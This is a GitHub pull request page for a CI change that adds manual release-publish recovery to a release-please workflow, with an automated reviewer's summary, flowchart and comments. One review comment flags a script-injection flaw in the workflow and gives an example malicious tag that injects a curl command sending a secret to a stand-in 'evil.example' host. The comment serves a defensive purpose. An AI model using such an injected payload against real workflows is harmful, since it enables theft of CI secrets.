Skip to content

fix(ci): allow manual release publish recovery#106

Merged
PatrickSys merged 1 commit intomasterfrom
fix/release-please-manual-publish-recovery
Apr 15, 2026
Merged

fix(ci): allow manual release publish recovery#106
PatrickSys merged 1 commit intomasterfrom
fix/release-please-manual-publish-recovery

Conversation

@PatrickSys
Copy link
Copy Markdown
Owner

Summary

  • add workflow_dispatch support to the trusted release-please workflow
  • allow manual publish of an already-tagged release from the same workflow file npm trusts
  • preserve the existing push-to-master release-please behavior

Why

The fallback publish workflow can pass quality gates but still fail npm publish because the trusted publisher configuration is tied to
elease-please.yml. This adds a safe recovery path for already-tagged releases like �1.10.0.

Verification

  • inspected the failed Release Please run for �1.10.0
  • confirmed the fallback Publish to npm on release workflow fails with the same npm 404 permission pattern
  • reviewed the resulting workflow diff to keep push behavior intact while adding manual recovery

@greptile-apps
Copy link
Copy Markdown
Contributor

greptile-apps Bot commented Apr 15, 2026

Greptile Summary

This PR adds workflow_dispatch support to release-please.yml so a manually-triggered run can publish an already-tagged release through the same OIDC trusted-publisher path that npm requires, providing a recovery route when the automatic release-please run fails.

  • The new "Decide publish mode" step interpolates ${{ github.event.inputs.tag }} directly into a run: shell script, which is a script injection vulnerability per GitHub's own security-hardening guidance. Any repository collaborator who can trigger workflow_dispatch with a crafted tag string can execute arbitrary shell commands in the runner. The value must be passed through an env: block instead.

Confidence Score: 4/5

Safe to merge after fixing the script injection vulnerability in the Decide publish mode step.

One P1 security finding remains: user-supplied tag input is interpolated directly into a shell script, which is a confirmed script injection vector per GitHub's security hardening guidance. The fix is a one-line change (move to env: block). Logic is otherwise sound — quality gates, already-published guard, and conditional execution all look correct.

.github/workflows/release-please.yml — the Decide publish mode step (lines 32–45)

Security Review

  • Script injection in .github/workflows/release-please.yml (line 34): ${{ github.event.inputs.tag }} is interpolated into a run: shell script before the runner executes it, enabling a collaborator to inject arbitrary shell commands by supplying a crafted tag string. Recommend passing the input via an env: block to ensure it is treated as a literal value.

Important Files Changed

Filename Overview
.github/workflows/release-please.yml Adds workflow_dispatch trigger and "Decide publish mode" step for manual release recovery; contains a script injection vulnerability where user-supplied tag input is interpolated directly into shell script text.

Flowchart

%%{init: {'theme': 'neutral'}}%%
flowchart TD
    A[Workflow Triggered] --> B{Event type?}
    B -->|push to master| C[Run release-please-action]
    B -->|workflow_dispatch| D[Skip release-please-action]
    C --> E{release_created?}
    E -->|true| F[should_publish=true\ncheckout_ref=github.sha]
    E -->|false| G[should_publish=false\nStop]
    D --> H[should_publish=true\ncheckout_ref=input tag]
    F --> I[actions/checkout @ ref]
    H --> I
    I --> J[pnpm install]
    J --> K{Version already on npm?}
    K -->|yes| L[SKIP_PUBLISH=true\nStop]
    K -->|no| M[Quality gates\nlint / format / typecheck / build / test]
    M --> N[pnpm publish --provenance]
Loading

Reviews (1): Last reviewed commit: "fix(ci): allow manual release publish re..." | Re-trigger Greptile

Comment on lines +33 to +35
EVENT_NAME="${{ github.event_name }}"
MANUAL_TAG="${{ github.event.inputs.tag }}"
RELEASE_CREATED="${{ steps.release.outputs.release_created }}"
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 security Script injection via user-controlled input

${{ github.event.inputs.tag }} is interpolated directly into the shell script text before the runner executes it. A collaborator who triggers workflow_dispatch with a crafted tag such as v1.0.0" && curl https://evil.example/exfil?s=$SECRET && echo " will have those commands executed in the runner. GitHub's own security-hardening guide explicitly flags this pattern. Pass the value through env: so the runner receives it as a literal environment variable instead.

Suggested change
EVENT_NAME="${{ github.event_name }}"
MANUAL_TAG="${{ github.event.inputs.tag }}"
RELEASE_CREATED="${{ steps.release.outputs.release_created }}"
env:
MANUAL_TAG: ${{ github.event.inputs.tag }}
RELEASE_CREATED: ${{ steps.release.outputs.release_created }}
run: |
EVENT_NAME="${{ github.event_name }}"

Then replace MANUAL_TAG="${{ github.event.inputs.tag }}" and RELEASE_CREATED="${{ steps.release.outputs.release_created }}" with just the references to the env vars that are now already defined above.

Comment on lines +37 to +40
if [ "$EVENT_NAME" = "workflow_dispatch" ]; then
echo "should_publish=true" >> "$GITHUB_OUTPUT"
echo "checkout_ref=$MANUAL_TAG" >> "$GITHUB_OUTPUT"
elif [ "$RELEASE_CREATED" = "true" ]; then
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 No validation that the provided tag exists

checkout_ref is set to whatever string the caller provides with no guard. If the tag is mis-typed (e.g. 1.10.0 instead of v1.10.0), the actions/checkout step will fail with a cryptic ref-not-found error rather than a clear diagnostic. A quick existence check before writing the output would surface the problem early:

Suggested change
if [ "$EVENT_NAME" = "workflow_dispatch" ]; then
echo "should_publish=true" >> "$GITHUB_OUTPUT"
echo "checkout_ref=$MANUAL_TAG" >> "$GITHUB_OUTPUT"
elif [ "$RELEASE_CREATED" = "true" ]; then
if [ "$EVENT_NAME" = "workflow_dispatch" ]; then
if ! git ls-remote --exit-code --tags origin "refs/tags/$MANUAL_TAG" > /dev/null 2>&1; then
echo "::error::Tag '$MANUAL_TAG' does not exist in this repository."
exit 1
fi
echo "should_publish=true" >> "$GITHUB_OUTPUT"
echo "checkout_ref=$MANUAL_TAG" >> "$GITHUB_OUTPUT"

@PatrickSys PatrickSys merged commit cf31aca into master Apr 15, 2026
4 checks passed
@PatrickSys PatrickSys deleted the fix/release-please-manual-publish-recovery branch April 15, 2026 09:16
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant